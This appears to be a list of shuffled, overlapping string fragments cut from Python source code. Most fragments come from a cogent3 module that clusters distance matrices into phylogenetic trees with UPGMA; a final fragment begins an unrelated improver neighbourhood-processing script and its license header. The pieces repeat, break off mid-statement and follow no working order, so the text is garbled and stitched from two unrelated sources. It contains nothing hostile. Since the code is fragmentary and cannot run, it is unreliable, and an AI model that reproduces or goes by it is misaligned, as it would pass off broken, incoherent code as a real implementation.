a tuple (e.g. (3,3)) shape =", "index is replaced with a node object that combines the", "UPGMA_cluster takes an array and a list of PhyloNode objects", "than any value already in the matrix. WARNING: Changes matrix", "cluster \"\"\" import numpy from numpy import argmin, array, average,", "in the array.\"\"\" # get the shape of the array", "__status__ = \"Production\" numerictypes = numpy.core.numerictypes.sctype2char Float = numerictypes(float) BIG_NUM", "is ignored matrix[second_index] = large_value matrix[:, second_index] = large_value return", "matrix. WARNING: Changes matrix in-place. WARNING: Expects matrix to already", "array and a list of PhyloNode objects corresponding to the", "input. UPGMA_cluster takes an array and a list of PhyloNode", "never chosen again with find_smallest_index. \"\"\" first_index, second_index = smallest_index", "high numbers so that it is ignored matrix[second_index] = large_value", "an dictionary of pair tuples mapped to distances as input.", "DictArray(pairwise_distances) matrix_a, node_order = inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM)", "from a DictArray using inputs_from_dict_array function. Both return a PhyloNode", "index of the smallest element in a numpy array for", "nodes corresponding to the indices in node order. The second", "columns, the values for the two indices are averaged. The", "1 return tree def find_smallest_index(matrix): \"\"\"returns the index of the", "of the smallest element in a numpy array for UPGMA", "n.TipLength = d # combine the two nodes into a", "= find_smallest_index(matrix) index1, index2 = smallest_index # if smallest_index is", "for the second index with # high numbers so that", "node_order def UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster with UPGMA matrix is", "# convert the lowest_index derived from matrix1D to one for", "in the array and the second index is replaced by", "in the row and column for first index with new_vector", "UPGMA cluster \"\"\" import numpy from numpy import argmin, array,", "takes an dictionary of pair tuples mapped to distances as", "number matrix1D = ravel(matrix) lowest_index = argmin(matrix1D) # convert the", "= average(rows, 0) # replace info in the row and", "large_value return matrix def condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses two nodes", "the distance between the nodes and assign 1/2 the distance", "and assign 1/2 the distance to the # lengthproperty of", "* len(matrix))] = large_number smallest_index = find_smallest_index(matrix) row_order = condense_node_order(matrix,", "index1 with the combined node node_order[index1] = new_node # replace", "1 by x array and get the index of the", "lowest_index derived from matrix1D to one for the original #", "array for UPGMA clustering elements on the diagonal should first", "= new_vector # replace the info in the row and", "num_entries = len(node_order) tree = None for i in range(num_entries", "the array.\"\"\" # get the shape of the array as", "returns a PhyloNode object of the UPGMA cluster \"\"\" darr", "UPGMA_cluster from a DictArray object \"\"\" darr.array += numpy.eye(darr.shape[0]) *", "= 1e305 def upgma(pairwise_distances): \"\"\"Uses the UPGMA algorithm to cluster", "second_index] = large_value return matrix def condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses", "x array and get the index of the lowest number", "very large number so that they are always larger than", "the nodes to 1/2 of the distance between the nodes", "of input from a DictArray using inputs_from_dict_array function. Both return", "= [\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__ = \"BSD-3\" __version__ = \"2020.7.2a\"", "# if smallest_index is on the diagonal set the diagonal", "the array as a tuple (e.g. (3,3)) shape = matrix.shape", "of the UPGMA cluster \"\"\" darr = DictArray(pairwise_distances) matrix_a, node_order", "large number so that they are always larger than the", "create a tree while condensing a matrix with the condense_matrix", "- n.children[0].TipLength else: n.length = d n.TipLength = d #", "new_vector matrix[first_index] = new_vector matrix[:, first_index] = new_vector # replace", "corresponding to the matrix. large_number will be assigned to the", "= large_value matrix[:, second_index] = large_value return matrix def condense_node_order(matrix,", "returned from find_smallest_index. For both the rows and columns, the", "= node_order[index1] node2 = node_order[index2] # get the distance between", "a new PhyloNode object new_node = PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent", "the two nodes into a new PhyloNode object new_node =", "large_number) tree = node_order[smallest_index[0]] return tree def inputs_from_dict_array(darr): \"\"\"makes inputs", "The first index is replaced with a node object that", "from cogent3.util.dict_array import DictArray __author__ = \"<NAME>\" __copyright__ = \"Copyright", "diagonal set the diagonal to large_number if index1 == index2:", "for node in tree.traverse(): if not node.parent: node.name = \"root\"", "info This function is used to create a tree while", "python \"\"\"Functions to cluster using UPGMA upgma takes an dictionary", "BIG_NUM = 1e305 def upgma(pairwise_distances): \"\"\"Uses the UPGMA algorithm to", "an array and a list of PhyloNode objects corresponding to", "and columns indicated by smallest_index Smallest index is returned from", "# replace the object at index2 with None node_order[index2] =", "to the # lengthproperty of each node distance = matrix[index1,", "while condensing a matrix with the condense_matrix function. The smallest_index", "both the rows and columns, the values for the two", "node distance = matrix[index1, index2] nodes = [node1, node2] d", "= 0 for node in tree.traverse(): if not node.parent: node.name", "= \"<EMAIL>\" __status__ = \"Production\" numerictypes = numpy.core.numerictypes.sctype2char Float =", "= None return node_order def UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster with", "to one for the original # square matrix and return", "smallest_index Smallest index is returned from find_smallest_index. For both the", "object of the UPGMA cluster \"\"\" import numpy from numpy", "nodes into a new PhyloNode object new_node = PhyloNode() new_node.children.append(node1)", "numpy from numpy import argmin, array, average, diag, ma, ravel,", "it is ignored matrix[second_index] = large_value matrix[:, second_index] = large_value", "of PhyloNode objects corresponding to the matrix. large_number will be", "0) new_vector = average(rows, 0) # replace info in the", "for first index with new_vector matrix[first_index] = new_vector matrix[:, first_index]", "DictArray __author__ = \"<NAME>\" __copyright__ = \"Copyright 2007-2020, The Cogent", "nodes = [node1, node2] d = distance / 2.0 for", "for n in nodes: if n.children: n.length = d -", "n.length = d - n.children[0].TipLength else: n.length = d n.TipLength", "node node_order[index1] = new_node # replace the object at index2", "Smallest index is returned from find_smallest_index. For both the rows", "BIG_NUM) index = 0 for node in tree.traverse(): if not", "matrix[index1, index2] nodes = [node1, node2] d = distance /", "from cogent3.core.tree import PhyloNode from cogent3.util.dict_array import DictArray __author__ =", "new_vector matrix[:, first_index] = new_vector # replace the info in", "The smallest_index is retrieved with find_smallest_index. The first index is", "find_smallest_index(matrix): \"\"\"returns the index of the smallest element in a", "index1, index2 = smallest_index node1 = node_order[index1] node2 = node_order[index2]", "len(node_order) tree = None for i in range(num_entries - 1):", "= condense_matrix(matrix, smallest_index, large_number) tree = node_order[smallest_index[0]] return tree def", "get the distance between the nodes and assign 1/2 the", "argmin(matrix1D) # convert the lowest_index derived from matrix1D to one", "as input. Can also generate this type of input from", "\"\"\"cluster with UPGMA matrix is a numpy array. node_order is", "for UPGMA clustering elements on the diagonal should first be", "second index is replaced by an array with large numbers", "condensing a matrix with the condense_matrix function. The smallest_index is", "\"\"\"returns the index of the smallest element in a numpy", "usr/bin/env python \"\"\"Functions to cluster using UPGMA upgma takes an", "with the condense_matrix function. The smallest_index is retrieved with find_smallest_index.", "is a numpy array. node_order is a list of PhyloNode", "with None node_order[index2] = None return node_order def UPGMA_cluster(matrix, node_order,", "in a numpy array for UPGMA clustering elements on the", "distance / 2.0 for n in nodes: if n.children: n.length", "not node.name: node.name = \"edge.\" + str(index) index += 1", "a matrix with the condense_matrix function. The smallest_index is retrieved", "PhyloNode from cogent3.util.dict_array import DictArray __author__ = \"<NAME>\" __copyright__ =", "__maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\" numerictypes", "objects corresponding to the array as input. Can also generate", "with a node object that combines the two nodes corresponding", "from a DictArray object \"\"\" darr.array += numpy.eye(darr.shape[0]) * BIG_NUM", "input. Can also generate this type of input from a", "much larger than any value already in the matrix. WARNING:", "a distance returns a PhyloNode object of the UPGMA cluster", "to cluster sequences pairwise_distances: a dictionary with pair tuples mapped", "is replaced with None. Also sets the branch length of", "matrix_a, node_order = inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM) index", "with new_vector matrix[first_index] = new_vector matrix[:, first_index] = new_vector #", "that combines the two nodes corresponding to the indices in", "distance = matrix[index1, index2] nodes = [node1, node2] d =", "Expects matrix to already have diagonals assigned to large_number before", "two nodes corresponding to the indices in node order. The", "rows = take(matrix, smallest_index, 0) new_vector = average(rows, 0) #", "\"\"\" import numpy from numpy import argmin, array, average, diag,", "by an array with large numbers so that it is", "= node_order[smallest_index[0]] return tree def inputs_from_dict_array(darr): \"\"\"makes inputs for UPGMA_cluster", "= condense_node_order(matrix, smallest_index, node_order) matrix = condense_matrix(matrix, smallest_index, large_number) tree", "tree def inputs_from_dict_array(darr): \"\"\"makes inputs for UPGMA_cluster from a DictArray", "1/2 of the distance between the nodes in the matrix\"\"\"", "\"\"\"converges the rows and columns indicated by smallest_index Smallest index", "a tuple (e.g. (3,3)) shape = matrix.shape # turn into", "be much larger than any value already in the matrix.", "\"\"\" num_entries = len(node_order) tree = None for i in", "index += 1 return tree def find_smallest_index(matrix): \"\"\"returns the index", "assign 1/2 the distance to the # lengthproperty of each", "matrix.shape # turn into a 1 by x array and", "ma, ravel, sum, take from cogent3.core.tree import PhyloNode from cogent3.util.dict_array", "array with large numbers so that it is never chosen", "is never chosen again with find_smallest_index. \"\"\" first_index, second_index =", "index2 = smallest_index node1 = node_order[index1] node2 = node_order[index2] #", "the shape of the array as a tuple (e.g. (3,3))", "\"<NAME>\"] __license__ = \"BSD-3\" __version__ = \"2020.7.2a\" __maintainer__ = \"<NAME>\"", "\"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\" numerictypes = numpy.core.numerictypes.sctype2char", "array. node_order is a list of PhyloNode objects corresponding to", "PhyloNode object of the UPGMA cluster \"\"\" darr = DictArray(pairwise_distances)", "matrix = condense_matrix(matrix, smallest_index, large_number) tree = node_order[smallest_index[0]] return tree", "new_vector # replace the info in the row and column", "the object at index2 with None node_order[index2] = None return", "using inputs_from_dict_array function. Both return a PhyloNode object of the", "from matrix1D to one for the original # square matrix", "diagonal to large_number if index1 == index2: matrix[diag([True] * len(matrix))]", "the rows and columns indicated by smallest_index Smallest index is", "the original # square matrix and return row_len = shape[0]", "is returned from find_smallest_index. For both the rows and columns,", "None node_order[index2] = None return node_order def UPGMA_cluster(matrix, node_order, large_number):", "a 1 by x array and get the index of", "For both the rows and columns, the values for the", "clustering elements on the diagonal should first be substituted with", "convert the lowest_index derived from matrix1D to one for the", "a DictArray using inputs_from_dict_array function. Both return a PhyloNode object", "cogent3.util.dict_array import DictArray __author__ = \"<NAME>\" __copyright__ = \"Copyright 2007-2020,", "matrix. large_number will be assigned to the matrix during the", "upgma(pairwise_distances): \"\"\"Uses the UPGMA algorithm to cluster sequences pairwise_distances: a", "node_order[index2] # get the distance between the nodes and assign", "first index with new_vector matrix[first_index] = new_vector matrix[:, first_index] =", "= matrix[index1, index2] nodes = [node1, node2] d = distance", "at index2 with None node_order[index2] = None return node_order def", "WARNING: Expects matrix to already have diagonals assigned to large_number", "should be much larger than any value already in the", "with a very large number so that they are always", "retrieved with find_smallest_index. The first index is replaced with a", "PhyloNode object of the UPGMA cluster \"\"\" import numpy from", "are always larger than the rest if the values in", "a very large number so that they are always larger", "to the array as input. Can also generate this type", "to the indices in node order. The second index in", "with UPGMA matrix is a numpy array. node_order is a", "is retrieved with find_smallest_index. The first index is replaced with", "# turn into a 1 by x array and get", "function is called. \"\"\" num_entries = len(node_order) tree = None", "= PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent = new_node node2.parent = new_node", "matrix[diag([True] * len(matrix))] = large_number smallest_index = find_smallest_index(matrix) row_order =", "of each node distance = matrix[index1, index2] nodes = [node1,", "larger than any value already in the matrix. WARNING: Changes", "the matrix\"\"\" index1, index2 = smallest_index node1 = node_order[index1] node2", "node_order, large_number): \"\"\"cluster with UPGMA matrix is a numpy array.", "is on the diagonal set the diagonal to large_number if", "take from cogent3.core.tree import PhyloNode from cogent3.util.dict_array import DictArray __author__", "get the rows and make a new vector that has", "replace the info in the row and column for the", "the UPGMA algorithm to cluster sequences pairwise_distances: a dictionary with", "__email__ = \"<EMAIL>\" __status__ = \"Production\" numerictypes = numpy.core.numerictypes.sctype2char Float", "function. Both return a PhyloNode object of the UPGMA cluster", "combines the two nodes corresponding to the indices in node", "lowest_index = argmin(matrix1D) # convert the lowest_index derived from matrix1D", "import DictArray __author__ = \"<NAME>\" __copyright__ = \"Copyright 2007-2020, The", "index is returned from find_smallest_index. For both the rows and", "the process and should be much larger than any value", "return row_len = shape[0] return divmod(lowest_index, row_len) def condense_matrix(matrix, smallest_index,", "DictArray object \"\"\" darr.array += numpy.eye(darr.shape[0]) * BIG_NUM nodes =", "assigned to large_number before this function is called. \"\"\" num_entries", "to create a tree while condensing a matrix with the" ]
[ "the number of reads, and the width of the #tristate", "bit, reads, buff_width, regfile_num) return if __name__ == '__main__': f", "'w') rows = 4 cols = 2 reads = 2", "to create the correct number of bits #this and the", "as make_store_cell, ensure code is valid there #<NAME> #EE 526", "same things as make_store_cell, ensure code is valid there #<NAME>", "code is valid there #<NAME> #EE 526 #4/20/21 from make_store_cell", "= 2 for row in range(rows): make_store_entry(f, row, cols, reads,", "bit in range(bits): make_store_cell(out_file, entry_number, bit, reads, buff_width, regfile_num) return", "#<NAME> #EE 526 #4/20/21 from make_store_cell import make_store_cell def make_store_entry(out_file,", "outputs #expects the same things as make_store_cell, ensure code is", "number of reads, and the width of the #tristate buffers", "regfile_num): #just need to create the correct number of bits", "entry number, the number of bits, the number of reads,", "output file manager, the entry number, the number of bits,", "= 4 cols = 2 reads = 2 for row", "is valid there #<NAME> #EE 526 #4/20/21 from make_store_cell import", "the make_store_array are going to be pretty simple for bit", "create the correct number of bits #this and the make_store_array", "read outputs #expects the same things as make_store_cell, ensure code", "open('store_entry_test.txt', 'w') rows = 4 cols = 2 reads =", "entry in the register file #takes in the output file", "manager, the entry number, the number of bits, the number", "for a single entry in the register file #takes in", "#EE 526 #4/20/21 from make_store_cell import make_store_cell def make_store_entry(out_file, entry_number,", "things as make_store_cell, ensure code is valid there #<NAME> #EE", "import make_store_cell def make_store_entry(out_file, entry_number, bits, reads, buff_width, regfile_num): #just", "the same things as make_store_cell, ensure code is valid there", "there #<NAME> #EE 526 #4/20/21 from make_store_cell import make_store_cell def", "bits, reads, buff_width, regfile_num): #just need to create the correct", "#takes in the output file manager, the entry number, the", "the entry number, the number of bits, the number of", "of bits, the number of reads, and the width of", "4 cols = 2 reads = 2 for row in", "#tristate buffers on the read outputs #expects the same things", "row in range(rows): make_store_entry(f, row, cols, reads, 1, 0) f.close()", "width of the #tristate buffers on the read outputs #expects", "make_store_cell import make_store_cell def make_store_entry(out_file, entry_number, bits, reads, buff_width, regfile_num):", "for row in range(rows): make_store_entry(f, row, cols, reads, 1, 0)", "in the register file #takes in the output file manager,", "the structural verilog for a single entry in the register", "the number of bits, the number of reads, and the", "be pretty simple for bit in range(bits): make_store_cell(out_file, entry_number, bit,", "are going to be pretty simple for bit in range(bits):", "reads, and the width of the #tristate buffers on the", "ensure code is valid there #<NAME> #EE 526 #4/20/21 from", "= 2 reads = 2 for row in range(rows): make_store_entry(f,", "and the make_store_array are going to be pretty simple for", "make_store_cell def make_store_entry(out_file, entry_number, bits, reads, buff_width, regfile_num): #just need", "526 #4/20/21 from make_store_cell import make_store_cell def make_store_entry(out_file, entry_number, bits,", "register file #takes in the output file manager, the entry", "code will generate the structural verilog for a single entry", "bits #this and the make_store_array are going to be pretty", "need to create the correct number of bits #this and", "generate the structural verilog for a single entry in the", "#this code will generate the structural verilog for a single", "regfile_num) return if __name__ == '__main__': f = open('store_entry_test.txt', 'w')", "the register file #takes in the output file manager, the", "to be pretty simple for bit in range(bits): make_store_cell(out_file, entry_number,", "#4/20/21 from make_store_cell import make_store_cell def make_store_entry(out_file, entry_number, bits, reads,", "simple for bit in range(bits): make_store_cell(out_file, entry_number, bit, reads, buff_width,", "= open('store_entry_test.txt', 'w') rows = 4 cols = 2 reads", "entry_number, bit, reads, buff_width, regfile_num) return if __name__ == '__main__':", "verilog for a single entry in the register file #takes", "the read outputs #expects the same things as make_store_cell, ensure", "will generate the structural verilog for a single entry in", "a single entry in the register file #takes in the", "of bits #this and the make_store_array are going to be", "the #tristate buffers on the read outputs #expects the same", "__name__ == '__main__': f = open('store_entry_test.txt', 'w') rows = 4", "going to be pretty simple for bit in range(bits): make_store_cell(out_file,", "number, the number of bits, the number of reads, and", "#just need to create the correct number of bits #this", "entry_number, bits, reads, buff_width, regfile_num): #just need to create the", "reads, buff_width, regfile_num) return if __name__ == '__main__': f =", "number of bits, the number of reads, and the width", "reads = 2 for row in range(rows): make_store_entry(f, row, cols,", "number of bits #this and the make_store_array are going to", "on the read outputs #expects the same things as make_store_cell,", "f = open('store_entry_test.txt', 'w') rows = 4 cols = 2", "range(bits): make_store_cell(out_file, entry_number, bit, reads, buff_width, regfile_num) return if __name__", "rows = 4 cols = 2 reads = 2 for", "correct number of bits #this and the make_store_array are going", "make_store_cell(out_file, entry_number, bit, reads, buff_width, regfile_num) return if __name__ ==", "valid there #<NAME> #EE 526 #4/20/21 from make_store_cell import make_store_cell", "bits, the number of reads, and the width of the", "buffers on the read outputs #expects the same things as", "make_store_entry(out_file, entry_number, bits, reads, buff_width, regfile_num): #just need to create", "if __name__ == '__main__': f = open('store_entry_test.txt', 'w') rows =", "#expects the same things as make_store_cell, ensure code is valid", "2 for row in range(rows): make_store_entry(f, row, cols, reads, 1,", "== '__main__': f = open('store_entry_test.txt', 'w') rows = 4 cols", "in range(bits): make_store_cell(out_file, entry_number, bit, reads, buff_width, regfile_num) return if", "make_store_cell, ensure code is valid there #<NAME> #EE 526 #4/20/21", "return if __name__ == '__main__': f = open('store_entry_test.txt', 'w') rows", "structural verilog for a single entry in the register file", "and the width of the #tristate buffers on the read", "of reads, and the width of the #tristate buffers on", "from make_store_cell import make_store_cell def make_store_entry(out_file, entry_number, bits, reads, buff_width,", "make_store_array are going to be pretty simple for bit in", "#this and the make_store_array are going to be pretty simple", "reads, buff_width, regfile_num): #just need to create the correct number", "file manager, the entry number, the number of bits, the", "for bit in range(bits): make_store_cell(out_file, entry_number, bit, reads, buff_width, regfile_num)", "'__main__': f = open('store_entry_test.txt', 'w') rows = 4 cols =", "the correct number of bits #this and the make_store_array are", "cols = 2 reads = 2 for row in range(rows):", "def make_store_entry(out_file, entry_number, bits, reads, buff_width, regfile_num): #just need to", "of the #tristate buffers on the read outputs #expects the", "single entry in the register file #takes in the output", "2 reads = 2 for row in range(rows): make_store_entry(f, row,", "the width of the #tristate buffers on the read outputs", "pretty simple for bit in range(bits): make_store_cell(out_file, entry_number, bit, reads,", "file #takes in the output file manager, the entry number,", "buff_width, regfile_num): #just need to create the correct number of", "in the output file manager, the entry number, the number", "buff_width, regfile_num) return if __name__ == '__main__': f = open('store_entry_test.txt',", "the output file manager, the entry number, the number of" ]
[ "\"records\":[] } resp = requests.get(osm, data) if resp.status_code == 200:", "use if __name__ == \"__main__\": resp = actualite_found() result =", "resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not found\") return resp", ", \"records\":[] } resp = requests.get(osm, data) if resp.status_code ==", "(): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = { \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\",", "actualite_found (): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = { \"nhits\":0, \"parameters\":{", "requests.get(osm, data) if resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not", "print(\"actualite not found\") return resp def get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"]", "\"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = { \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\":", "metas = resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def nb_result(resp): return len(resp.json()[\"datasets\"]) #Example", "\"rows\":10, \"start\":0, \"sort\":[ \"published\" ] , \"format\":\"json\" } , \"records\":[]", "if __name__ == \"__main__\": resp = actualite_found() result = get_result(resp,2,\"description\")", "else: print(\"actualite not found\") return resp def get_result(resp,n,attribut): metas =", "} , \"records\":[] } resp = requests.get(osm, data) if resp.status_code", "requests def actualite_found (): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = {", "#Example of use if __name__ == \"__main__\": resp = actualite_found()", "json import sys import requests def actualite_found (): osm =", "] , \"format\":\"json\" } , \"records\":[] } resp = requests.get(osm,", "\"language\": \"fr\", \"rows\":10, \"start\":0, \"sort\":[ \"published\" ] , \"format\":\"json\" }", "\"start\":0, \"sort\":[ \"published\" ] , \"format\":\"json\" } , \"records\":[] }", "= requests.get(osm, data) if resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite", "print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not found\") return resp def get_result(resp,n,attribut): metas", "def get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def nb_result(resp): return", "sys import requests def actualite_found (): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data", "return metas[attribut] def nb_result(resp): return len(resp.json()[\"datasets\"]) #Example of use if", "{ \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\", \"rows\":10, \"start\":0,", "data) if resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not found\")", "data = { \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\",", "if resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not found\") return", "\"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\", \"rows\":10, \"start\":0, \"sort\":[ \"published\" ] ,", "nb_result(resp): return len(resp.json()[\"datasets\"]) #Example of use if __name__ == \"__main__\":", "= { \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\", \"rows\":10,", "\"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\", \"rows\":10, \"start\":0, \"sort\":[", "not found\") return resp def get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"] return", "def actualite_found (): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = { \"nhits\":0,", "\"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\", \"rows\":10, \"start\":0, \"sort\":[ \"published\" ]", "resp def get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def nb_result(resp):", "import sys import requests def actualite_found (): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\"", "AVB\"\"\" import json import sys import requests def actualite_found ():", "== 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not found\") return resp def", "return resp def get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def", "\"\"\"API for AVB\"\"\" import json import sys import requests def", "for AVB\"\"\" import json import sys import requests def actualite_found", ", \"format\":\"json\" } , \"records\":[] } resp = requests.get(osm, data)", "\"fr\", \"rows\":10, \"start\":0, \"sort\":[ \"published\" ] , \"format\":\"json\" } ,", "resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def nb_result(resp): return len(resp.json()[\"datasets\"]) #Example of use", "\"format\":\"json\" } , \"records\":[] } resp = requests.get(osm, data) if", "found\") return resp def get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut]", "\"published\" ] , \"format\":\"json\" } , \"records\":[] } resp =", "__name__ == \"__main__\": resp = actualite_found() result = get_result(resp,2,\"description\") print(result)", "== \"__main__\": resp = actualite_found() result = get_result(resp,2,\"description\") print(result) print(nb_result(resp))", "import json import sys import requests def actualite_found (): osm", "\"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\", \"language\": \"fr\", \"rows\":10, \"start\":0, \"sort\":[ \"published\"", "} resp = requests.get(osm, data) if resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"])", "resp = requests.get(osm, data) if resp.status_code == 200: print(resp.json()[\"datasets\"][0][\"metas\"]) else:", "get_result(resp,n,attribut): metas = resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def nb_result(resp): return len(resp.json()[\"datasets\"])", "= resp.json()[\"datasets\"][n][\"metas\"] return metas[attribut] def nb_result(resp): return len(resp.json()[\"datasets\"]) #Example of", "osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = { \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\",", "\"q\":\"actualite\", \"language\": \"fr\", \"rows\":10, \"start\":0, \"sort\":[ \"published\" ] , \"format\":\"json\"", "def nb_result(resp): return len(resp.json()[\"datasets\"]) #Example of use if __name__ ==", "return len(resp.json()[\"datasets\"]) #Example of use if __name__ == \"__main__\": resp", "import requests def actualite_found (): osm = \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data =", "len(resp.json()[\"datasets\"]) #Example of use if __name__ == \"__main__\": resp =", "of use if __name__ == \"__main__\": resp = actualite_found() result", "200: print(resp.json()[\"datasets\"][0][\"metas\"]) else: print(\"actualite not found\") return resp def get_result(resp,n,attribut):", "= \"https://opendata.bruxelles.be/api/datasets/1.0/search/?q=\" data = { \"nhits\":0, \"parameters\":{ \"dataset\":\"actualites-ville-de-bruxelles\", \"timezone\":\"UTC\", \"q\":\"actualite\",", "\"sort\":[ \"published\" ] , \"format\":\"json\" } , \"records\":[] } resp", "metas[attribut] def nb_result(resp): return len(resp.json()[\"datasets\"]) #Example of use if __name__" ]
[ "shape is applicable for calculating \"percentiles\" output. Options: \"circular\", \"square\".", "lead times in hours that correspond to the radii to", "radii must be a list the same length as lead_times.", "== \"probabilities\": result = NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction,", "# and/or other materials provided with the distribution. # #", "is a list, it must be the same length as", "POSSIBILITY OF SUCH DAMAGE. \"\"\"Script to run neighbourhood processing.\"\"\" from", "ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,", "length as lead_times. degrees_as_complex (bool): Include this option to process", "must reproduce the above copyright notice, # this list of", "the NeighbourhoodProcessing plugin to a Cube. Args: cube (iris.cube.Cube): The", "mask: cli.inputcube = None, *, neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list, lead_times:", "above copyright notice, # this list of conditions and the", "= WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times = radius_by_lead_time(radii, lead_times) if neighbourhood_output ==", "# # Redistribution and use in source and binary forms,", "\"probabilities\": result = NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask,", "== \"percentiles\": if weighted_mode: raise RuntimeError( \"weighted_mode cannot be used", "convert cube data into complex numbers cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii,", "with the distribution. # # * Neither the name of", "= WindDirection.complex_to_deg(result.data) if halo_radius is not None: result = remove_cube_halo(result,", "without specific prior written permission. # # THIS SOFTWARE IS", "halo_radius is not None: result = remove_cube_halo(result, halo_radius) return result", "neighbourhoods. (Optional) neighbourhood_output (str): The form of the results generated", "points. Only supported with square neighbourhoods. (Optional) neighbourhood_output (str): The", "are set, radii must be a list the same length", "lead_times. degrees_as_complex (bool): Include this option to process angles as", "This argument has no effect if the output is probabilities.", "# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF", "float = None, ): \"\"\"Runs neighbourhood processing. Apply the requested", "in hours that correspond to the radii to be used.", "this radius in metres to define the excess halo to", "if weighted_mode: raise RuntimeError( \"weighted_mode cannot be used with\" 'neighbourhood_output=\"percentiles\"'", "\" \"numbers\") if neighbourhood_shape == \"circular\": if degrees_as_complex: raise RuntimeError(", "degrees_as_complex: # convert cube data into complex numbers cube.data =", "this option to set the weighting to decrease with radius.", "a neighbourhood is only supported for a circular neighbourhood. Options:", "(str): Name of the neighbourhood method to use. Only a", "in metres of the neighbourhood to apply. If it is", "from # this software without specific prior written permission. #", "to clip. Used where a larger grid was defined than", "excess halo to clip. Used where a larger grid was", "remask (bool): Include this option to apply the original un-neighbourhood", "then the percentiles are calculated with a neighbourhood. Calculating percentiles", "weighted_mode: raise RuntimeError( \"weighted_mode cannot be used with\" 'neighbourhood_output=\"percentiles\"' )", "if degrees_as_complex: raise RuntimeError( \"Cannot process complex numbers with circular", "percentiles from complex \" \"numbers\") if neighbourhood_shape == \"circular\": if", "notice, this # list of conditions and the following disclaimer.", "THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR", "neighbourhood_output (str): The form of the results generated using neighbourhood", "= None, *, neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list, lead_times: cli.comma_separated_list =", "NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF", "to apply. If it is a list, it must be", "radius in metres to define the excess halo to clip.", "neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex is used with neighbourhood_shape='circular'. \"\"\" from", "degrees result.data = WindDirection.complex_to_deg(result.data) if halo_radius is not None: result", "endorse or promote products derived from # this software without", "copyright notice, this # list of conditions and the following", "for usable points and 0 for discarded points. Only supported", "RuntimeError: If degree_as_complex is used with neighbourhood_shape='circular'. \"\"\" from improver.nbhood", "option to apply the original un-neighbourhood processed 